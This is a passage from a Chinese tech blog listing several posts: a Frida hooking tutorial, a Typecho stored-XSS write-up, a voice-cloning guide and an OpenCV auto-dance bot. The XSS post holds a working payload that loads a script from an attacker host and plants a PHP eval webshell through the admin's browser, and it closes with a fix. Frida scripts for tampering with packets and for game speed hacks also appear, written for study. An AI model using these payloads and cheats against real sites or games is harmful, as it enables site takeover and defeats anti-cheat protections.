r2-self.savedBars[index2].fitness index2 += 1 index2 -= 1 child = Bar() bar = self.savedBars[index] bar2 = self.savedBars[index2] child.brain.in_hidden1_weights = bar.brain.crossover( bar.brain.in_hidden1_weights, bar2.brain.in_hidden1_weights) child.brain.in_hidden1_biases = bar.brain.crossover( bar.brain.in_hidden1_biases, bar2.brain.in_hidden1_biases) child.brain.hidden1_output_weights = bar.brain.crossover( bar.brain.hidden1_output_weights, bar2.brain.hidden1_output_weights) child.brain.hidden1_output_biases = bar.brain.crossover( bar.brain.hidden1_output_biases, bar2.brain.hidden1_output_biases) child.brain.mutate(child.brain.in_hidden1_weights, 0.3) child.brain.mutate(child.brain.in_hidden1_biases, 0.3) child.brain.mutate(child.brain.hidden1_output_weights, 0.3) child.brain.mutate(child.brain.hidden1_output_biases, 0.3) return child if __name__ == '__main__': game = Game()# NeuralNetwork.py 文件 import numpy as np import math import random import pickle class NeuralNetwork(): def __init__(self,input_nodes,hidden_nodes1,output_nodes): self.input_nodes = input_nodes self.hidden_nodes1 = hidden_nodes1 self.output_nodes = output_nodes self.in_hidden1_weights = np.random.rand(self.hidden_nodes1,self.input_nodes) self.hidden1_output_weights = np.random.rand(self.output_nodes,self.hidden_nodes1) self.in_hidden1_biases = np.random.rand(self.hidden_nodes1,1) self.hidden1_output_biases = np.random.rand(self.output_nodes,1) self.sigmoid_v = np.vectorize(self.sigmoid) def sigmoid(self,x): return (1/(1+math.exp(-x))) def feedforward(self,inputs): self.inputs = inputs self.hidden_layer1 = self.in_hidden1_weights.dot(self.inputs) self.hidden_layer1=self.sigmoid_v(self.hidden_layer1+self.in_hidden1_biases) self.output = self.hidden1_output_weights.dot(self.hidden_layer1) self.output =self.sigmoid_v(self.output+self.hidden1_output_biases) return self.output def crossover(self,mat1,mat2): childMat = np.zeros((mat1.shape[0],mat1.shape[1])) x = mat1.shape[0]//2 childMat[:x],childMat[x:] = mat1[:x],mat2[x:] return childMat def mutate(self,mat,rate): for i in range(mat.shape[0]): if rate > (random.uniform(0,1)): for j in range(mat.shape[1]): mat[i][j] = random.uniform(0,1) def serialize(self): return pickle.dumps(self) 代码知识点平方根函数 math.sqrt():用来计算两点之间的距离,用于碰撞检测和位置计算。幂函数 pow():用来计算适应度的幂值,用于衡量个体的适应程度。随机数生成函数 random.uniform():用于生成随机数,用于选择个体进行交叉和变异操作。算法中实现了一个简单的神经网络(NeuralNetwork)来预测下一步的移动方向,神经网络输入是游戏中的一些状态信息,如:球的位置、速度以及挡板的位置,经过计算后输出一个移动方向(左或右),这里的神经网络是手动实现的,不依赖于现有的神经网络库。在代码中还使用了遗传算法(Genetic Algorithm)来优化神经网络的结构和权重,每一代中会根据个体的适应度进行选择、交叉和变异操作,生成新一代的个体适应度的计算基于个体的得分和运动距离。
2023年05月18日
64 阅读
0 评论
12 点赞
2023-04-25
【技术分享】Frida Hook篇
简介Frida是一款基于Python + JavaScript 的hook框架,本质是一种动态插桩技术。可以用于Android、Windows、iOS等各大平台,其执行脚本基于Python或者Node.js写成,而注入代码用JavaScript写成,所以有必要了解一些这些语言的语法。本文简单讲述Frida框架的使用。Windows修改函数返回#include <stdio.h> int license() { return 0; } int main() { if(license() == 1) { printf("%s", "你做到了~"); }else{ printf("%s", "你失败了!"); } return 0; }这里我用C语言编写一个简单的例子,尝试hook函数的返回值修改为 1。objdump -M intel -d Demo | grep call这里我用 objdump 进行过滤反汇编代码,我的习惯用全局过滤 call 看看都调用了哪些函数,因为有的编译是不显示函数名称的,也就无法判断其函数的用途。这里通过调用 license() 函数判断返回值,那么只要 hook 0x1139 这个地址的返回值,就能改变判断执行的流程。var moduleName = "demo"; var baseAddress = Module.findBaseAddress(moduleName); var absoluteAddress = baseAddress.add(0x1139); Interceptor.attach(absoluteAddress, { onLeave: function(retval) { retval.replace(1); console.log("\n"); } });frida -l code.js -f demo因为程序是一运行就执行,这里用这种办法来带动程序执行并进行hook。frida-tracefrida-trace -f demo -i "printf"可以利用 frida-trace 监听函数调用和获取参数等等一系列操作。WSASend Hook// 自适应旧数据大小 Interceptor.attach(Module.getExportByName('Ws2_32.dll', 'WSASend'), { onEnter: function (args) { var hexDataWithSpaces = "00 00 00 BD 00 14 00 02 "; function hexStringWithSpacesToBytes(hexStr) { var hexValues = hexStr.replace(/\s+/g, '').match(/.{1,2}/g); var bytes = []; for (var i = 0; i < hexValues.length; i++) { bytes.push("0x" + hexValues[i]); } return bytes; } var socket = args[0].toInt32(); var sockaddr_in = Memory.alloc(16); var sockaddr_in_size = Memory.alloc(4); Memory.writeU32(sockaddr_in_size, 16); var getpeername = Module.getExportByName('Ws2_32.dll', 'getpeername'); var result = new NativeFunction(getpeername, 'int', ['int', 'pointer', 'pointer'])(socket, sockaddr_in, sockaddr_in_size); if (result === 0) { var ip = Memory.readU32(sockaddr_in.add(4)); var ipStr = ((ip & 0xFF)) + '.' + ((ip >> 8) & 0xFF) + '.' + ((ip >> 16) & 0xFF) + '.' + ((ip >> 24) & 0xFF); console.log("[+] IP Address: " + ipStr); } else { console.log("[-] Failed to retrieve IP address"); } var lpBuffers = args[1]; var dwBufferCount = args[2].toInt32(); for (var i = 0; i < dwBufferCount; i++) { var lpBuffer = lpBuffers.add(i * Process.pointerSize * 2); var bufLen = Memory.readU32(lpBuffer); if (bufLen === 173) { console.log("[+] Length=" + bufLen); var newData = hexStringWithSpacesToBytes(hexDataWithSpaces); var newDataLength = newData.length; var newBufPtr = Memory.alloc(1024); Memory.writeByteArray(newBufPtr.add(24), newData); Memory.writePointer(lpBuffer.add(Process.pointerSize), newBufPtr.add(24)); Memory.writeU32(lpBuffer, newDataLength); var modifiedData = Memory.readByteArray(newBufPtr.add(24), newDataLength); console.log(modifiedData); } } } });WSARcev Hook// 自适应旧数据大小 var buff = Memory.alloc(0x6) Memory.writeByteArray(buff, [0x32,0x32,0x32,0x32,0x32,0x32]); Interceptor.attach(Module.getExportByName('Ws2_32.dll', 'WSARecv'), { onEnter: function (args) { this.lpBuffersPtr = args[1]; this.lpNumberOfBytesRecvd = args[3]; }, onLeave: function (retval) { var lenPtr = Memory.readPointer(this.lpNumberOfBytesRecvd); var buflen = parseInt(lenPtr, 16); if (buflen == 2) { Memory.writePointer(this.lpBuffersPtr.add(Process.pointerSize), buff); ptr(this.lpNumberOfBytesRecvd).writeUInt(0x6); } } });frida -p 2085 -l WSARcev.jsJmp Hookvar baseAddress = ptr('0x4010F5'); var jmpAddress = ptr('0x4010FB'); var offset = jmpAddress.sub(baseAddress.add(5).toInt32()); var jmpOpcode = [ 0xE9, offset & 0xFF, (offset >> 8) & 0xFF, (offset >> 16) & 0xFF, (offset >> 24) & 0xFF ]; Memory.protect(baseAddress, 8, 'rw-'); Memory.writeByteArray(baseAddress, jmpOpcode);系统提权var path = 'C:/Users/28729/Desktop/main.exe'; // 替换你要执行的程序路径(不能包含中文字符) var module = Process.getModuleByName('kernel32.dll'); var WinExec = module.findExportByName('WinExec'); var WinExec = new NativeFunction(WinExec,'int', ['pointer', 'uint32']); WinExec(Memory.allocUtf8String(path), 5); console.log(WinExec.toString());端口修改Interceptor.attach(Module.getExportByName('ws2_32.dll', 'connect'), { onEnter: function(args) { var sockaddr = args[1]; var ip = Memory.readU32(sockaddr.add(4)); var ipStr = ((ip & 0xFF)) + '.' + ((ip >> 8) & 0xFF) + '.' + ((ip >> 16) & 0xFF) + '.' + ((ip >> 24) & 0xFF); // 修改端口为 80 (0x0050) Memory.writeU16(sockaddr.add(2), 0x0050); var modifiedPort = Memory.readU16(sockaddr.add(2)); console.log("[+] Modified to connect to: " + ipStr + ":" + modifiedPort); } });变速齿轮变速原理变速齿轮的原理 变速齿轮(变速精灵)通过修改游戏运行时的时间流逝速度,实现加速或减速效果。其核心思路是拦截并修改游戏调用的时间相关函数的返回值。关键时间函数 大部分游戏依赖Windows提供的计时器API来获取时间流逝数据,常用的函数包括:GetTickCount: 获取系统启动后经过的毫秒数。timeGetTime: 获取自系统启动以来的时间,单位为毫秒。这些函数在游戏中用于时间逻辑和动画刷新等。Hook技术的应用 为实现变速功能,需要使用Hook技术拦截上述API函数:在返回值的基础上加上变速比例。例如,将时间流逝的速度乘以一个比例系数(如2倍速或0.5倍速)。修改后的返回值会被游戏程序使用,从而达到加速或减速效果。实现效果 修改计时器函数返回值后:游戏中的时间会按照设定的速度流逝。动画、技能冷却、任务时间等都会受到影响。注意事项对API函数的Hook需要精确,避免引起其他程序崩溃。修改速度可能会影响游戏网络同步或反作弊机制,因此需要谨慎使用。通过Hook系统的计时器API(如GetTickCount、timeGetTime),改变游戏对时间的感知速度,从而实现游戏变速功能。这种方式通用于大多数基于Windows计时器的游戏程序。推荐下 Cheat Engine,这个工具也可以实现。Cheat Engine 此源码仅支持 64位 Python。{cloud title="变速精灵" type="bd" url="https://pan.baidu.com/s/1byEIfi3HHoZaMKy5jibVyw?pwd=2085" password=""/}AndroidHook okhttp3Java.perform(function () { var RequestBuilder = Java.use("okhttp3.Request$Builder"); var Buffer = Java.use("okio.Buffer"); RequestBuilder.build.implementation = function () { var request = this.build(); var body = request.body(); if (body != null) { var buffer = Buffer.$new(); body.writeTo(buffer); var raw_body = buffer.readUtf8(); console.log("=== HTTP Request ==="); console.log("URL: " + request.url().toString()); console.log("Body: " + raw_body); } return request; }; });so 加载检测function hook_dlopen() { Interceptor.attach(Module.findExportByName(null, "android_dlopen_ext"), { onEnter: function(args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null) { var path = ptr(pathptr).readCString(); console.log("Loaded: " + path); } } }); }var dlopen = Module.findExportByName(null, "dlopen"); // 6.0 var android_dlopen_ext = Module.findExportByName(null, "android_dlopen_ext"); // 8.1+ Interceptor.attach(dlopen, { onEnter: function (args) { var path_ptr = args[0]; this.path = ptr(path_ptr).readCString(); console.log("[+] dlopen onEnter => " + this.path + " > 开始加载"); }, onLeave: function (retval) { console.log("[-] dlopen onLeave => " + this.path + " > 加载完成"); } }); Interceptor.attach(android_dlopen_ext, { onEnter: function (args) { var path_ptr = args[0]; this.path = ptr(path_ptr).readCString(); console.log("[+] dlopen_ext onEnter => " + this.path + " > 开始加载"); }, onLeave: function (retval) { console.log("[-] dlopen_ext onLeave => " + this.path + " > 加载完成"); } });其它-JS逆向Hook 解析参数// === JSON.parse (解密后) === var _json_parse = JSON.parse; JSON.parse = function (text, reviver) { console.log("JSON.parse:", text); debugger; return _json_parse.call(this, text, reviver); }; // === JSON.stringify (加密前) === var _json_stringify = JSON.stringify; JSON.stringify = function (value, replacer, space) { console.log("JSON.stringify:", value); debugger; return _json_stringify.call(this, value, replacer, space); }; // === XMLHttpRequest (发送 & 接收) === (function() { var _open = XMLHttpRequest.prototype.open; var _send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function(method, url) { this._url = url; this._method = method; return _open.apply(this, arguments); }; XMLHttpRequest.prototype.send = function(body) { console.log(`XHR Request [${this._method}] ${this._url}`, body); this.addEventListener("load", function() { console.log(`XHR Response [${this._method}] ${this._url}`, this.responseText); }); return _send.apply(this, arguments); }; })(); // === fetch (发送 & 接收) === var _fetch = fetch; fetch = function(input, init) { console.log("fetch Request:", input, init && init.body); return _fetch.apply(this, arguments).then(async res => { let clone = res.clone(); let text = await clone.text(); console.log("fetch Response:", text); return res; }); }; // === WebSocket (发送 & 接收) === var _ws_send = WebSocket.prototype.send; WebSocket.prototype.send = function(data) { console.log("WS Send:", data); return _ws_send.apply(this, arguments); }; var _WebSocket = window.WebSocket; window.WebSocket = function(...args) { var ws = new _WebSocket(...args); ws.addEventListener("message", function(event) { console.log("WS Message:", event.data); }); return ws; };Hook 原生加密解密// === CryptoJS AES 加密 / 解密 === if (window.CryptoJS && CryptoJS.AES) { var _aes_encrypt = CryptoJS.AES.encrypt; CryptoJS.AES.encrypt = function (msg, key, cfg) { console.log("AES encrypt input:", msg); debugger; return _aes_encrypt.apply(this, arguments); }; var _aes_decrypt = CryptoJS.AES.decrypt; CryptoJS.AES.decrypt = function (ciphertext, key, cfg) { console.log("AES decrypt input:", ciphertext); var result = _aes_decrypt.apply(this, arguments); console.log("AES decrypt output:", result.toString(CryptoJS.enc.Utf8)); debugger; return result; }; } // === CryptoJS RC4 加密 / 解密 === if (window.CryptoJS && CryptoJS.RC4) { var _rc4_encrypt = CryptoJS.RC4.encrypt; CryptoJS.RC4.encrypt = function (msg, key) { console.log("RC4 encrypt input:", msg); debugger; return _rc4_encrypt.apply(this, arguments); }; var _rc4_decrypt = CryptoJS.RC4.decrypt; CryptoJS.RC4.decrypt = function (ciphertext, key) { console.log("RC4 decrypt input:", ciphertext); var result = _rc4_decrypt.apply(this, arguments); console.log("RC4 decrypt output:", result.toString(CryptoJS.enc.Utf8)); debugger; return result; }; } // === Base64 === var _atob = atob; window.atob = function (str) { console.log("Base64 decode input:", str); var result = _atob(str); console.log("Base64 decode output:", result); debugger; return result; }; var _btoa = btoa; window.btoa = function (str) { console.log("Base64 encode input:", str); debugger; return _btoa(str); };Hook 网络通信函数// ===== Hook fetch API ===== // 拦截并打印 fetch 请求和响应 function hookFetch() { var _fetch = fetch; fetch = function (input, init) { console.log("fetch request:", input, init?.body); return _fetch.apply(this, arguments).then(async res => { let clone = res.clone(); console.log("fetch response:", await clone.text()); return res; }); }; } // ===== Hook XMLHttpRequest API ===== // 拦截并打印 XHR 请求和响应 function hookXHR() { var _open = XMLHttpRequest.prototype.open; var _send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function (method, url) { this._method = method; this._url = url; return _open.apply(this, arguments); }; XMLHttpRequest.prototype.send = function (body) { console.log(`XHR [${this._method}] ${this._url}`, body); this.addEventListener("load", () => { console.log(`XHR response [${this._method}] ${this._url}`, this.responseText); }); return _send.apply(this, arguments); }; } // ===== Hook WebSocket API ===== // 拦截并打印 WebSocket 收发数据 function hookWebSocket() { var _ws_send = WebSocket.prototype.send; WebSocket.prototype.send = function (data) { console.log("WS send:", data); return _ws_send.apply(this, arguments); }; var _WebSocket = window.WebSocket; window.WebSocket = function (...args) { var ws = new _WebSocket(...args); ws.addEventListener("message", function (event) { console.log("WS message:", event.data); }); return ws; }; } // ===== Hook WebRTC send ===== // 拦截 WebRTC 数据 function hookWebRTC() { if (window.RTCPeerConnection) { var _send = RTCDataChannel.prototype.send; RTCDataChannel.prototype.send = function (data) { console.log("WebRTC send:", data); return _send.apply(this, arguments); }; } }
2023年04月25日
488 阅读
0 评论
33 点赞
2023-04-24
【攻防技术】Typecho存储型XSS写入WebShell
影响版本漏洞影响版本:Typecho <= 1.2.0漏洞复现https://bbskali.cn/"></a><script>alert(1)</script><a/href="#随便找一篇文章,在评论里插入 js 代码。可以发现访问,发现成功弹出来了,而且是插入到了数据库中,存储型的 XSS。访问后台查看评论,也会触发插入的代码,这个时候可以偷取管理员的 cookie,进行登录后台写入一句话木马。写入webshellhttps://bbskali.cn/"></a><script/src="http://192.168.1.14/xss.js"></script><a/href="#这里我直接利用 js 让管理员登录后台或点击后台评论自己写入webshell,src="http://192.168.1.14/xss.js" 修改成你的公网域名网址。构造exp// xss.js var times = 0; var g_shell = 0; function addIframe() { var iframe = document.createElement('iframe'); iframe.id = 'testxss'; iframe.style.width = '0%'; iframe.style.height = '0%'; iframe.onload = processIframe; iframe.src = 'http://127.0.0.1/admin/theme-editor.php?theme=default&file=404.php'; document.body.appendChild(iframe); } function processIframe() { if (times > 10) { return; } var iframeDocument = document.getElementById('testxss').contentWindow.document; var htmldata = iframeDocument.getElementById('content'); var btn = iframeDocument.getElementsByTagName('button'); if (htmldata && btn && btn.length > 1) { htmldata.innerText = '<?php eval($_POST["sh"]);'; btn[1].click(); times++; if (g_shell === 1) { sendRequest(); } } } function sendRequest() { var xhr = new XMLHttpRequest(); xhr.open('GET', '/usr/themes/default/404.php?shell=1'); xhr.send(); } addIframe();当管理员访问了后台评论,那么就会写入 webshell 。可以发现后台默认模板中的 404.php 已经写入了一句话木马,当然看情况网站用了什么主题,路径名称会不一样的自己改改就好。这个时候用蚁剑就可以进行连接了。修复方案更新到 1.2.0 以上的版本,官方已修复。手动修复// var/Widget/Base/Comments.php 第 271 行代码 echo '<a href="' . $this->url . '"' // 修改为以下代码 echo '<a href="' . Common::safeUrl($this->url) . '"' // var/Widget/Feedback.php 第 209 行代码 $comment['url'] = $this->request->filter('trim')->url; // 修改为以下代码 $comment['url'] = $this->request->filter('trim', 'url')->url; // var/Widget/Feedback.php 第 308 行代码 $trackback['url'] = $this->request->filter('trim')->url; // 修改为以下代码 $trackback['url'] = $this->request->filter('trim', 'url')->url; // var/Widget/Options.php 第 85 行代码 * @property bool $commentsRequireURL // 修改为以下代码 * @property bool $commentsRequireUrl // /var/Typecho/Validate.php 第 99 行代码 return filter_var($str, FILTER_VALIDATE_EMAIL) !== false; // 修改为以下代码 return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
2023年04月24日
96 阅读
0 评论
12 点赞
2023-04-19
【每日随记】AI翻唱 SO-VITS-SVC 4.0
简介So-VITS-SVC是一个开源的离线项目,它使用 SoftVC 内容编码器提取源音频语音特征,然后直接将向量馈入 VITS 中进行转换,它能够保留原始声音的音高和语调特征,目采用NSF HiFiGAN作为声码器来解决声音中断等问题,适用于学术交流和用于通信和学习目的,声音模型的训练用户可以自行训练模型。使用步骤整合包里是没有模型的,这里我推荐一个训练好了的模型,到这里下载以上三个文件。 伊卡洛斯模型 下载好后,将这三个文件拖入到 logs\44k 文件内,这样初始化 so-vits-svc 才会有模型文件加载。安装包是整合好了的,没有什么地方要改的,唯一一个就是给FFmpeg添加环境变量,让so-vits-svc能调用到它,将FFmpeg所在的路径添加到path环境变量中即可。好了就是启动web界面的so-vits-svc,启动成功后会自动打开浏览器。按照步骤设置好后就点击加载模型,模型加载成功后就可以上传音频了。音频使用VUR5进行分离伴奏和人声以及消除音频的混响和声,也就是上传一段纯净人声音不要有杂音和伴奏。视频效果{dplayer src="https://www.52tt.pro/usr/uploads/2023/04/AI.mp4"/}这个开源伊卡洛斯模型只有24000step,继续训练下去效果可能会更好点。在线翻唱 | 在线合成 | 训练教程AI - 女生 #audio-player { display: block; margin-right: 10px; width: 100%; max-width: 450px; height: 50px; background-color: #f1f1f1; border-radius: 10px; } AI - 君若 AI - 自己 训练了自己的声音,一个晚上笔记本跑了32000步,效果还是挺好的,数据采集就是声音偏中低,所以高音它唱不了(哭笑)。模型训练将处理好的数据集,创建一个文件例如:tianyi放入到 dataset_raw 文件夹里,音频数据最好是8MB一个音频(数据集越多越好),大小可以用格式工厂进行转换,完成后最后一步点击识别数据集,等待一会就好。默认写入配置文件,就可以开始训练了,训练途中不想训练了可以停止,下一次可点击继续上一次的训练,当模型跑到10000步就可以点击训练聚类模型,当然不一定要10000步才算好模型,看自己啦模型好不好要自己测试的。Py3 API调用import requests import soundfile # Set up the URL of the Flask app url = "http://127.0.0.1:6842/voice" input_filename = "1.wav" input_data, sr = soundfile.read(input_filename) # Set the desired pitch change and speaker ID params = { "fPitchChange": 1.5, "sampleRate": sr, "sSpeakId": 0 } # Send the POST request with the audio file and parameters with open(input_filename, "rb") as f: response = requests.post(url, data=params, files={"sample": f}) # Save the modified audio file returned by the Flask app output_filename = "output.wav" with open(output_filename, "wb") as f: f.write(response.content)翻唱API服务import torch, soundfile, io import torchaudio, logging from flask import Flask, request, send_file from flask_cors import CORS from inference.infer_tool import Svc, RealTimeVC app = Flask(__name__) CORS(app) logging.getLogger('numba').setLevel(logging.WARNING) @app.route("/voice", methods=["POST"]) def voice_change_model(): request_form = request.form wave_file = request.files.get("sample", None) # 变调信息 f_pitch_change = float(request_form.get("fPitchChange", 0)) # DAW所需的采样率 daw_sample = int(float(request_form.get("sampleRate", 0))) speaker_id = int(float(request_form.get("sSpeakId", 0))) # http获得wav文件并转换 input_wav_path = io.BytesIO(wave_file.read()) # 模型推理 if raw_infer: # out_audio, out_sr = svc_model.infer(speaker_id, f_pitch_change, input_wav_path) out_audio, out_sr = svc_model.infer(speaker_id, f_pitch_change, input_wav_path, cluster_infer_ratio=0, auto_predict_f0=False, noice_scale=0.4, f0_filter=False) tar_audio = torchaudio.functional.resample(out_audio, svc_model.target_sample, daw_sample) else: out_audio = svc.process(svc_model, speaker_id, f_pitch_change, input_wav_path, cluster_infer_ratio=0, auto_predict_f0=False, noice_scale=0.4, f0_filter=False) tar_audio = torchaudio.functional.resample(torch.from_numpy(out_audio), svc_model.target_sample, daw_sample) # 返回音频 out_wav_path = io.BytesIO() soundfile.write(out_wav_path, tar_audio.cpu().numpy(), daw_sample, format="wav") out_wav_path.seek(0) return send_file(out_wav_path, download_name="temp.wav", as_attachment=True) if __name__ == '__main__': # 启用则为直接切片合成,False为交叉淡化方式 # vst插件调整0.3-0.5s切片时间可以降低延迟,直接切片方法会有连接处爆音、交叉淡化会有轻微重叠声音 # 自行选择能接受的方法,或将vst最大切片时间调整为1s,此处设为Ture,延迟大音质稳定一些 raw_infer = True model_name = "logs/44k/G_3200.pth" config_name = "logs/44k/config.json" cluster_model_path = "logs/44k/kmeans_10000.pt" svc_model = Svc(model_name, config_name, cluster_model_path=cluster_model_path) svc = RealTimeVC() app.run(port=6842, host="0.0.0.0", debug=False, threaded=True){cloud title="so-vits-svc整合包" type="bd" url="https://pan.baidu.com/s/1JXDC1wjeRKcnP3Pew2cw_w?pwd=2085" password=""/}
2023年04月19日
116 阅读
0 评论
9 点赞
2023-04-10
【每日随记】Opencv QQ炫舞2自动跳舞
简介最近写的一个基于Opencv视觉检测的游戏脚本(某炫舞2),可以辅助玩家在游戏中传统模式自动跳舞,通过对游戏画面的识别检测出目标需要按下的方向键或空格键,利用pynput模块模拟键盘操作来实现自动跳舞的效果。实现过程1.寻找游戏窗口并实时获取窗口大小,对游戏画面中的特定区域实时截图并其转换为灰度图像。2.预先准备好的方向键和空格键的图片进行图案匹配,在游戏画面中检测出它们的位置。3.根据匹配结果,按照从左到右的顺序依次模拟按下需要的按键,来实现自动跳舞的效果。注意:游戏窗口大小要设置为:1280x720import numpy as np import win32gui import mss, os import cv2 as cv from pynput.keyboard import Controller, Key # @Author > 忆梦 # @Date > 2023/4/10 # @Project > QQ炫舞2 目标识别 - 自动跳舞(传统模式) window_name = 'Auto' path = "./img/" threshold = 0.8 # 设置阈值为0.8 sct = mss.mss() keyboard = Controller() def press(keys): keyboard.press(keys) keyboard.release(keys) template_data = [ {'name': 'right', 'file': 'right.png'}, {'name': 'left', 'file': 'left.png'}, {'name': 'up', 'file': 'up.png'}, {'name': 'down', 'file': 'down.png'}, {'name': 'space', 'file': 'en.png'}, ] keys = { 'right': Key.right, 'left': Key.left, 'up': Key.up, 'down': Key.down, } for tpl in template_data: tpl['path'] = os.path.join(path, tpl['file']) tpl['image'] = cv.imread(tpl['path'], cv.IMREAD_GRAYSCALE) def main(): while True: boxes = [] hwnd = win32gui.FindWindow(None, "QQ炫舞2") cleft, ctop, cright, cbottom = win32gui.GetWindowRect(hwnd) c_width, cheight = cright - cleft, cbottom - ctop monitor = { 'left': cleft + 475, 'top': ctop + 481, 'width': c_width // 2 - 290, 'height': cheight // 2 - 294, } img = np.array(sct.grab(monitor)) game_area = cv.cvtColor(img, cv.COLOR_BGR2GRAY) for tpl in template_data: template = tpl['image'] h, w = template.shape res = cv.matchTemplate(game_area, template, cv.TM_CCOEFF_NORMED) loc = np.where(res >= threshold) found_pts = [] for pt in zip(*loc[::-1]): center_pt = (pt[0] + w // 2, pt[1] + h // 2) is_close_to_existing_point = False for found_pt in found_pts: if np.linalg.norm(np.array(center_pt) - np.array(found_pt)) < w // 2: is_close_to_existing_point = True break if is_close_to_existing_point: continue found_pts.append(center_pt) if tpl['name'] == "space": if pt[0] >= 293 and pt[0] <= 320: press(Key.space) boxes.append({'name': tpl['name'], 'pt': pt}) cv.rectangle( img, pt, (pt[0] + w, pt[1] + h), (0, 255, 255), 2) boxes = sorted(boxes, key=lambda k: k['pt'][0]) found_names = [box['name'] for box in boxes] for key in found_names: if key != "space": press(keys[key]) cv.imshow(window_name, img) if cv.waitKey(1) & 0xFF == ord('q'): break cv.destroyAllWindows() if __name__ == '__main__': try: main() except Exception as e: print(e)效果{cloud title="完整源码" type="bd" url="https://pan.baidu.com/s/1XF_xMm8U-SRz7cXsrxdZFQ?pwd=2085" password=""/}
2023年04月10日
122 阅读
0 评论
13 点赞
1
2
3
4
...
14
0:00